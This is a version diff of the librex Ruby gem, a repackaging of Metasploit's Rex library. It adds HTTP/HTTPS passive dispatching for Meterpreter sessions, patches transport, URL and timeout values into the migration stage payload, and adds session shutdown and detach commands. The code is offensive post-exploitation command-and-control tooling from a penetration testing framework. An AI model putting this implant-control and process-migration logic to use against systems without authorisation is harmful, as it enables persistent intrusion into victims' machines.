librex 0.0.38 → 0.0.39

Sign up to get free protection for your applications and to get access to all the features.
data/README.markdown CHANGED
@@ -3,7 +3,7 @@
3
3
  A non-official re-packaging of the Rex library as a gem for easy of usage of the Metasploit REX framework in a non Metasploit application. I received permission from HDM to create this package.
4
4
 
5
5
  Currently based on:
6
- SVN Revision: 13029
6
+ SVN Revision: 13058
7
7
 
8
8
  # Credits
9
9
  The Metasploit development team <http://www.metasploit.com>
@@ -172,7 +172,8 @@ class Channel
172
172
  request = Packet.create_request('core_channel_read')
173
173
 
174
174
  if (length == nil)
175
- length = 65536
175
+ # Default block size to a higher amount for passive dispatcher
176
+ length = self.client.passive_service ? (1024*1024) : 65536
176
177
  end
177
178
 
178
179
  request.add_tlv(TLV_TYPE_CHANNEL_ID, self.cid)
@@ -228,12 +229,12 @@ class Channel
228
229
 
229
230
  # Populate the request
230
231
  request.add_tlv(TLV_TYPE_CHANNEL_ID, self.cid)
231
-
232
+
232
233
  cdata = request.add_tlv(TLV_TYPE_CHANNEL_DATA, buf)
233
234
  if( ( self.flags & CHANNEL_FLAG_COMPRESS ) == CHANNEL_FLAG_COMPRESS )
234
- cdata.compress = true
235
+ cdata.compress = true
235
236
  end
236
-
237
+
237
238
  request.add_tlv(TLV_TYPE_LENGTH, length)
238
239
  request.add_tlvs(addends)
239
240
 
@@ -285,7 +286,7 @@ class Channel
285
286
 
286
287
  return true
287
288
  end
288
-
289
+
289
290
  def _close(addends = nil)
290
291
  self.class._close(self.client, self.cid, addends)
291
292
  self.cid = nil
@@ -45,7 +45,7 @@ class Client
45
45
  # Cached SSL certificate (required to scale)
46
46
  #
47
47
  @@ssl_ctx = nil
48
-
48
+
49
49
  #
50
50
  # Mutex to synchronize class-wide operations
51
51
  #
@@ -89,38 +89,59 @@ class Client
89
89
  extension.cleanup if extension.respond_to?( 'cleanup' )
90
90
  end
91
91
  dispatcher_thread.kill if dispatcher_thread
92
+ core.shutdown rescue nil
93
+ shutdown_passive_dispatcher
92
94
  end
93
95
 
94
96
  #
95
97
  # Initializes the meterpreter client instance
96
98
  #
97
99
  def init_meterpreter(sock,opts={})
98
- self.sock = sock
99
- self.parser = PacketParser.new
100
- self.ext = ObjectAliases.new
101
- self.ext_aliases = ObjectAliases.new
102
- self.alive = true
103
- self.target_id = opts[:target_id]
104
- self.capabilities= opts[:capabilities] || {}
105
-
106
- self.response_timeout = opts[:timeout] || self.class.default_timeout
100
+ self.sock = sock
101
+ self.parser = PacketParser.new
102
+ self.ext = ObjectAliases.new
103
+ self.ext_aliases = ObjectAliases.new
104
+ self.alive = true
105
+ self.target_id = opts[:target_id]
106
+ self.capabilities = opts[:capabilities] || {}
107
+
108
+
109
+ self.conn_id = opts[:conn_id]
110
+ self.url = opts[:url]
111
+ self.ssl = opts[:ssl]
112
+ self.expiration = opts[:expiration]
113
+ self.comm_timeout = opts[:comm_timeout]
114
+ self.passive_dispatcher = opts[:passive_dispatcher]
115
+
116
+ self.response_timeout = opts[:timeout] || self.class.default_timeout
107
117
  self.send_keepalives = true
108
118
 
119
+ if opts[:passive_dispatcher]
120
+ initialize_passive_dispatcher
109
121
 
110
- # Switch the socket to SSL mode and receive the hello if needed
111
- if capabilities[:ssl] and not opts[:skip_ssl]
112
- swap_sock_plain_to_ssl()
113
- end
122
+ register_extension_alias('core', ClientCore.new(self))
114
123
 
115
- register_extension_alias('core', ClientCore.new(self))
124
+ initialize_inbound_handlers
125
+ initialize_channels
116
126
 
117
- initialize_inbound_handlers
118
- initialize_channels
127
+ # Register the channel inbound packet handler
128
+ register_inbound_handler(Rex::Post::Meterpreter::Channel)
129
+ else
130
+ # Switch the socket to SSL mode and receive the hello if needed
131
+ if capabilities[:ssl] and not opts[:skip_ssl]
132
+ swap_sock_plain_to_ssl()
133
+ end
119
134
 
120
- # Register the channel inbound packet handler
121
- register_inbound_handler(Rex::Post::Meterpreter::Channel)
135
+ register_extension_alias('core', ClientCore.new(self))
122
136
 
123
- monitor_socket
137
+ initialize_inbound_handlers
138
+ initialize_channels
139
+
140
+ # Register the channel inbound packet handler
141
+ register_inbound_handler(Rex::Post::Meterpreter::Channel)
142
+
143
+ monitor_socket
144
+ end
124
145
  end
125
146
 
126
147
  def swap_sock_plain_to_ssl
@@ -138,22 +159,22 @@ class Client
138
159
  rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK
139
160
  IO::select(nil, nil, nil, 0.10)
140
161
  retry
141
-
142
- # Ruby 1.9.2+ uses IO::WaitReadable/IO::WaitWritable
162
+
163
+ # Ruby 1.9.2+ uses IO::WaitReadable/IO::WaitWritable
143
164
  rescue ::Exception => e
144
165
  if ::IO.const_defined?('WaitReadable') and e.kind_of?(::IO::WaitReadable)
145
166
  IO::select( [ ssl ], nil, nil, 0.10 )
146
167
  retry
147
168
  end
148
-
149
- if ::IO.const_defined?('WaitWritable') and e.kind_of?(::IO::WaitWritable)
169
+
170
+ if ::IO.const_defined?('WaitWritable') and e.kind_of?(::IO::WaitWritable)
150
171
  IO::select( nil, [ ssl ], nil, 0.10 )
151
172
  retry
152
173
  end
153
-
174
+
154
175
  raise e
155
176
  end
156
- end
177
+ end
157
178
 
158
179
  self.sock.extend(Rex::Socket::SslTcp)
159
180
  self.sock.sslsock = ssl
@@ -175,11 +196,11 @@ class Client
175
196
  end
176
197
 
177
198
  def generate_ssl_context
178
- @@ssl_mutex.synchronize do
199
+ @@ssl_mutex.synchronize do
179
200
  if not @@ssl_ctx
180
-
201
+
181
202
  wlog("Generating SSL certificate for Meterpreter sessions")
182
-
203
+
183
204
  key = OpenSSL::PKey::RSA.new(1024){ }
184
205
  cert = OpenSSL::X509::Certificate.new
185
206
  cert.version = 2
@@ -223,12 +244,12 @@ class Client
223
244
  ctx.session_id_context = Rex::Text.rand_text(16)
224
245
 
225
246
  wlog("Generated SSL certificate for Meterpreter sessions")
226
-
247
+
227
248
  @@ssl_ctx = ctx
228
-
249
+
229
250
  end # End of if not @ssl_ctx
230
251
  end # End of mutex.synchronize
231
-
252
+
232
253
  @@ssl_ctx
233
254
  end
234
255
 
@@ -379,6 +400,30 @@ class Client
379
400
  # The libraries available to this meterpreter server
380
401
  #
381
402
  attr_accessor :capabilities
403
+ #
404
+ # The Connection ID
405
+ #
406
+ attr_accessor :conn_id
407
+ #
408
+ # The Connect URL
409
+ #
410
+ attr_accessor :url
411
+ #
412
+ # Use SSL (HTTPS)
413
+ #
414
+ attr_accessor :ssl
415
+ #
416
+ # The Session Expiration Timeout
417
+ #
418
+ attr_accessor :expiration
419
+ #
420
+ # The Communication Timeout
421
+ #
422
+ attr_accessor :comm_timeout
423
+ #
424
+ # The Passive Dispatcher
425
+ #
426
+ attr_accessor :passive_dispatcher
382
427
 
383
428
  protected
384
429
  attr_accessor :parser, :ext_aliases # :nodoc:
@@ -184,7 +184,7 @@ class ClientCore < Extension
184
184
 
185
185
  # We cant migrate into a process that does not exist.
186
186
  if( process == nil )
187
- raise RuntimeError, "Cannot migrate into non existant process", caller
187
+ raise RuntimeError, "Cannot migrate into non existent process", caller
188
188
  end
189
189
 
190
190
  # We cant migrate into a process that we are unable to open
@@ -216,13 +216,42 @@ class ClientCore < Extension
216
216
  migrate_stager = c.new()
217
217
  migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.#{binary_suffix}" )
218
218
 
219
- payload = migrate_stager.stage_payload
219
+ blob = migrate_stager.stage_payload
220
+
221
+ if client.passive_service
222
+
223
+ # Replace the transport string first (TRANSPORT_SOCKET_SSL
224
+ i = blob.index("METERPRETER_TRANSPORT_SSL")
225
+ if i
226
+ str = client.ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
227
+ blob[i, str.length] = str
228
+ end
229
+
230
+ conn_id = self.client.conn_id
231
+ i = blob.index("https://" + ("X" * 256))
232
+ if i
233
+ str = self.client.url
234
+ blob[i, str.length] = str
235
+ end
236
+
237
+ i = blob.index([0xb64be661].pack("V"))
238
+ if i
239
+ str = [ self.client.expiration ].pack("V")
240
+ blob[i, str.length] = str
241
+ end
242
+
243
+ i = blob.index([0xaf79257f].pack("V"))
244
+ if i
245
+ str = [ self.client.comm_timeout ].pack("V")
246
+ blob[i, str.length] = str
247
+ end
248
+ end
220
249
 
221
250
  # Build the migration request
222
251
  request = Packet.create_request( 'core_migrate' )
223
252
  request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
224
- request.add_tlv( TLV_TYPE_MIGRATE_LEN, payload.length )
225
- request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, payload, false, client.capabilities[:zlib])
253
+ request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
254
+ request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])
226
255
  if( process['arch'] == ARCH_X86_64 )
227
256
  request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
228
257
  else
@@ -232,19 +261,28 @@ class ClientCore < Extension
232
261
  # Send the migration request (bump up the timeout to 60 seconds)
233
262
  response = client.send_request( request, 60 )
234
263
 
235
- # Disable the socket request monitor
236
- client.monitor_stop
264
+ if client.passive_service
265
+ # Sleep for 5 seconds to allow the full handoff, this prevents
266
+ # the original process from stealing our loadlib requests
267
+ ::IO.select(nil, nil, nil, 5.0)
268
+ else
269
+ # Prevent new commands from being sent while we finish migrating
270
+ client.comm_mutex.synchronize do
271
+ # Disable the socket request monitor
272
+ client.monitor_stop
237
273
 
238
- ###
239
- # Now communicating with the new process
240
- ###
274
+ ###
275
+ # Now communicating with the new process
276
+ ###
241
277
 
242
- # Renegotiate SSL over this socket
243
- client.swap_sock_ssl_to_plain()
244
- client.swap_sock_plain_to_ssl()
278
+ # Renegotiate SSL over this socket
279
+ client.swap_sock_ssl_to_plain()
280
+ client.swap_sock_plain_to_ssl()
245
281
 
246
- # Restart the socket monitor
247
- client.monitor_socket
282
+ # Restart the socket monitor
283
+ client.monitor_socket
284
+ end
285
+ end
248
286
 
249
287
  # Update the meterpreter platform/suffix for loading extensions as we may have changed target architecture
250
288
  # sf: this is kinda hacky but it works. As ruby doesnt let you un-include a module this is the simplest solution I could think of.
@@ -268,6 +306,15 @@ class ClientCore < Extension
268
306
  return true
269
307
  end
270
308
 
309
+ #
310
+ # Shuts the session down
311
+ #
312
+ def shutdown
313
+ request = Packet.create_request('core_shutdown')
314
+ response = self.client.send_packet_wait_response(request, 15)
315
+ true
316
+ end
317
+
271
318
  end
272
319
 
273
320
  end; end; end
@@ -27,27 +27,27 @@ SEPARATOR = "\\"
27
27
  Separator = "\\"
28
28
 
29
29
  include Rex::Post::File
30
-
30
+
31
31
  class << self
32
32
  attr_accessor :client
33
33
  end
34
-
34
+
35
35
  #
36
36
  # Search for files.
37
37
  #
38
38
  def File.search( root=nil, glob="*.*", recurse=true, timeout=-1 )
39
-
39
+
40
40
  files = ::Array.new
41
-
41
+
42
42
  request = Packet.create_request( 'stdapi_fs_search' )
43
43
 
44
44
  root = root.chomp( '\\' ) if root
45
-
45
+
46
46
  request.add_tlv( TLV_TYPE_SEARCH_ROOT, root )
47
47
  request.add_tlv( TLV_TYPE_SEARCH_GLOB, glob )
48
48
  request.add_tlv( TLV_TYPE_SEARCH_RECURSE, recurse )
49
49
 
50
- # we set the response timeout to -1 to wait indefinatly as a
50
+ # we set the response timeout to -1 to wait indefinatly as a
51
51
  # search could take an indeterminate ammount of time to complete.
52
52
  response = client.send_request( request, timeout )
53
53
  if( response.result == 0 )
@@ -59,10 +59,10 @@ Separator = "\\"
59
59
  }
60
60
  end
61
61
  end
62
-
62
+
63
63
  return files
64
64
  end
65
-
65
+
66
66
  #
67
67
  # Returns the base name of the supplied file path to the caller.
68
68
  #
@@ -86,7 +86,7 @@ Separator = "\\"
86
86
  request.add_tlv(TLV_TYPE_FILE_PATH, path)
87
87
 
88
88
  response = client.send_request(request)
89
-
89
+
90
90
  return response.get_tlv_value(TLV_TYPE_FILE_PATH)
91
91
  end
92
92
 
@@ -104,27 +104,27 @@ Separator = "\\"
104
104
  r = client.fs.filestat.new(name) rescue nil
105
105
  r ? true : false
106
106
  end
107
-
107
+
108
108
  #
109
109
  # Performs a delete on the specified file.
110
110
  #
111
- def File.rm(name)
111
+ def File.rm(name)
112
112
  request = Packet.create_request('stdapi_fs_delete_file')
113
113
 
114
114
  request.add_tlv(TLV_TYPE_FILE_PATH,name)
115
115
 
116
116
  response = client.send_request(request)
117
-
117
+
118
118
  return response
119
119
  end
120
-
120
+
121
121
  #
122
122
  # Performs a delete on the specified file.
123
123
  #
124
124
  def File.unlink(name)
125
125
  return File.rm(name)
126
- end
127
-
126
+ end
127
+
128
128
  #
129
129
  # Upload one or more files to the remote computer the remote
130
130
  # directory supplied in destination.
@@ -151,7 +151,7 @@ Separator = "\\"
151
151
  # all of the contents of the local file
152
152
  dest_fd = client.fs.file.new(dest_file, "wb")
153
153
  src_buf = ''
154
-
154
+
155
155
  ::File.open(src_file, 'rb') { |f|
156
156
  src_buf = f.read(f.stat.size)
157
157
  }
@@ -164,7 +164,7 @@ Separator = "\\"
164
164
  end
165
165
 
166
166
  #
167
- # Download one or more files from the remote computer to the local
167
+ # Download one or more files from the remote computer to the local
168
168
  # directory supplied in destination.
169
169
  #
170
170
  def File.download(destination, *src_files, &stat)
@@ -178,7 +178,7 @@ Separator = "\\"
178
178
  end
179
179
 
180
180
  download_file(dest, src)
181
-
181
+
182
182
  stat.call('downloaded', src, dest) if (stat)
183
183
  }
184
184
  end
@@ -272,3 +272,4 @@ protected
272
272
  end
273
273
 
274
274
  end; end; end; end; end; end
275
+
@@ -29,9 +29,9 @@ class RequestError < ArgumentError
29
29
 
30
30
  # The error result that occurred, typically a windows error message.
31
31
  attr_reader :result
32
-
32
+
33
33
  # The error result that occurred, typically a windows error code.
34
- attr_reader :code
34
+ attr_reader :code
35
35
  end
36
36
 
37
37
  ###
@@ -44,6 +44,84 @@ module PacketDispatcher
44
44
 
45
45
  PacketTimeout = 600
46
46
 
47
+ ##
48
+ #
49
+ # Synchronization
50
+ #
51
+ ##
52
+ attr_accessor :comm_mutex
53
+
54
+
55
+ ##
56
+ #
57
+ #
58
+ # Passive Dispatching
59
+ #
60
+ ##
61
+ attr_accessor :passive_service, :send_queue, :recv_queue
62
+
63
+ def initialize_passive_dispatcher
64
+ self.send_queue = []
65
+ self.recv_queue = []
66
+ self.waiters = []
67
+ self.alive = true
68
+
69
+ self.passive_service = self.passive_dispatcher
70
+ self.passive_service.remove_resource("/" + self.conn_id + "/")
71
+ self.passive_service.add_resource("/" + self.conn_id + "/",
72
+ 'Proc' => Proc.new { |cli, req| on_passive_request(cli, req) },
73
+ 'VirtualDirectory' => true
74
+ )
75
+ end
76
+
77
+ def shutdown_passive_dispatcher
78
+ return if not self.passive_service
79
+ self.passive_service.remove_resource("/" + self.conn_id + "/")
80
+
81
+ self.alive = false
82
+ self.send_queue = []
83
+ self.recv_queue = []
84
+ self.waiters = []
85
+
86
+ self.passive_service = nil
87
+ end
88
+
89
+ def on_passive_request(cli, req)
90
+
91
+ begin
92
+
93
+ resp = Rex::Proto::Http::Response.new(200, "OK")
94
+ resp['Content-Type'] = 'application/octet-stream'
95
+ resp['Connection'] = 'close'
96
+
97
+ # If the first 4 bytes are "RECV", return the oldest packet from the outbound queue
98
+ if req.body[0,4] == "RECV"
99
+ rpkt = send_queue.pop
100
+ resp.body = rpkt || ''
101
+ begin
102
+ cli.send_response(resp)
103
+ rescue ::Exception => e
104
+ send_queue.unshift(rpkt) if rpkt
105
+ elog("Exception sending a reply to the reader request: #{cli.inspect} #{e.class} #{e} #{e.backtrace}")
106
+ end
107
+ else
108
+ resp.body = ""
109
+ if req.body and req.body.length > 0
110
+ packet = Packet.new(0)
111
+ packet.from_r(req.body)
112
+ dispatch_inbound_packet(packet)
113
+ end
114
+ cli.send_response(resp)
115
+ end
116
+
117
+ # Force a closure for older WinInet implementations
118
+ self.passive_service.close_client( cli )
119
+
120
+ rescue ::Exception => e
121
+ elog("Exception handling request: #{cli.inspect} #{req.inspect} #{e.class} #{e} #{e.backtrace}")
122
+ end
123
+ end
124
+
47
125
  ##
48
126
  #
49
127
  # Transmission
@@ -62,23 +140,34 @@ module PacketDispatcher
62
140
  raw = packet.to_r
63
141
  err = nil
64
142
 
143
+ # Short-circuit send when using a passive dispatcher
144
+ if self.passive_service
145
+ send_queue.push(raw)
146
+ return raw.size # Lie!
147
+ end
148
+
65
149
  if (raw)
66
-
67
- begin
68
- bytes = self.sock.write(raw)
69
- rescue ::Exception => e
70
- err = e
150
+
151
+ # This mutex is used to lock out new commands during an
152
+ # active migration.
153
+
154
+ self.comm_mutex.synchronize do
155
+ begin
156
+ bytes = self.sock.write(raw)
157
+ rescue ::Exception => e
158
+ err = e
159
+ end
71
160
  end
72
-
161
+
73
162
  if bytes.to_i == 0
74
163
  # Mark the session itself as dead
75
164
  self.alive = false
76
-
165
+
77
166
  # Indicate that the dispatcher should shut down too
78
167
  @finish = true
79
-
168
+
80
169
  # Reraise the error to the top-level caller
81
- raise err if err
170
+ raise err if err
82
171
  end
83
172
  end
84
173
 
@@ -89,12 +178,12 @@ module PacketDispatcher
89
178
  # Sends a packet and waits for a timeout for the given time interval.
90
179
  #
91
180
  def send_request(packet, t = self.response_timeout)
92
-
181
+
93
182
  if not t
94
183
  send_packet(packet)
95
184
  return nil
96
185
  end
97
-
186
+
98
187
  response = send_packet_wait_response(packet, t)
99
188
 
100
189
  if (response == nil)
@@ -146,6 +235,12 @@ module PacketDispatcher
146
235
  # thread context and parsers all inbound packets.
147
236
  #
148
237
  def monitor_socket
238
+
239
+ # Skip if we are using a passive dispatcher
240
+ return if self.passive_service
241
+
242
+ self.comm_mutex = ::Mutex.new
243
+
149
244
  self.waiters = []
150
245
 
151
246
  @pqueue = []
@@ -303,6 +398,7 @@ module PacketDispatcher
303
398
  self.receiver_thread.kill
304
399
  self.receiver_thread = nil
305
400
  end
401
+
306
402
  if(self.dispatcher_thread)
307
403
  self.dispatcher_thread.kill
308
404
  self.dispatcher_thread = nil
@@ -385,7 +481,6 @@ module PacketDispatcher
385
481
  end
386
482
  end
387
483
 
388
-
389
484
  # Enumerate all of the inbound packet handlers until one handles
390
485
  # the packet
391
486
  @inbound_handlers.each { |handler|
@@ -43,6 +43,7 @@ class Console::CommandDispatcher::Core
43
43
  "close" => "Closes a channel",
44
44
  "channel" => "Displays information about active channels",
45
45
  "exit" => "Terminate the meterpreter session",
46
+ "detach" => "Detach the meterpreter session (for http/https)",
46
47
  "help" => "Help menu",
47
48
  "interact" => "Interacts with a channel",
48
49
  "irb" => "Drop into irb scripting mode",
@@ -204,11 +205,26 @@ class Console::CommandDispatcher::Core
204
205
  # Terminates the meterpreter session.
205
206
  #
206
207
  def cmd_exit(*args)
208
+ print_status("Shutting down Meterpreter...")
209
+ client.core.shutdown rescue nil
210
+ client.shutdown_passive_dispatcher
207
211
  shell.stop
208
212
  end
209
213
 
210
214
  alias cmd_quit cmd_exit
211
215
 
216
+ #
217
+ # Disconnects the session
218
+ #
219
+ def cmd_detach(*args)
220
+ if not client.passive_service
221
+ print_error("Detach is only possible for non-stream sessions (http/https)")
222
+ return
223
+ end
224
+ client.shutdown_passive_dispatcher
225
+ shell.stop
226
+ end
227
+
212
228
  #
213
229
  # Interacts with a channel.
214
230
  #
@@ -385,11 +401,11 @@ class Console::CommandDispatcher::Core
385
401
 
386
402
  def cmd_run_help
387
403
  print_line "Usage: run <script> [arguments]"
388
- print_line
404
+ print_line
389
405
  print_line "Executes a ruby script or Metasploit Post module in the context of the"
390
406
  print_line "meterpreter session. Post modules can take arguments in var=val format."
391
407
  print_line "Example: run post/foo/bar BAZ=abcd"
392
- print_line
408
+ print_line
393
409
  end
394
410
 
395
411
  #
@@ -535,7 +551,7 @@ class Console::CommandDispatcher::Core
535
551
  end
536
552
 
537
553
  #
538
- # Show info for a given Post module.
554
+ # Show info for a given Post module.
539
555
  #
540
556
  # See also +cmd_info+ in lib/msf/ui/console/command_dispatcher/core.rb
541
557
  #
@@ -546,10 +562,10 @@ class Console::CommandDispatcher::Core
546
562
  cmd_info_help
547
563
  return
548
564
  end
549
-
565
+
550
566
  module_name = args.shift
551
567
  mod = client.framework.modules.create(module_name);
552
-
568
+
553
569
  if mod.nil?
554
570
  print_error 'Invalid module: ' << module_name
555
571
  end
@@ -655,7 +671,7 @@ class Console::CommandDispatcher::Core
655
671
 
656
672
  tab_complete_filenames(str, words)
657
673
  end
658
-
674
+
659
675
  def cmd_resource(*args)
660
676
  if args.empty?
661
677
  print(
@@ -166,7 +166,7 @@ class Packet
166
166
  # Converts the packet to a string.
167
167
  #
168
168
  def to_s
169
- content = self.body.dup
169
+ content = self.body.to_s.dup
170
170
 
171
171
  # Update the content length field in the header with the body length.
172
172
  if (content)
metadata CHANGED
@@ -2,7 +2,7 @@
2
2
  name: librex
3
3
  version: !ruby/object:Gem::Version
4
4
  prerelease:
5
- version: 0.0.38
5
+ version: 0.0.39
6
6
  platform: ruby
7
7
  authors:
8
8
  - Metasploit Development Team
@@ -11,11 +11,11 @@ autorequire:
11
11
  bindir: bin
12
12
  cert_chain: []
13
13
 
14
- date: 2011-06-25 00:00:00 -05:00
14
+ date: 2011-06-28 00:00:00 -05:00
15
15
  default_executable:
16
16
  dependencies: []
17
17
 
18
- description: Rex provides a variety of classes useful for security testing and exploit development. Based on SVN Revision 13029
18
+ description: Rex provides a variety of classes useful for security testing and exploit development. Based on SVN Revision 13058
19
19
  email:
20
20
  - hdm@metasploit.com
21
21
  - jacob.hammack@hammackj.com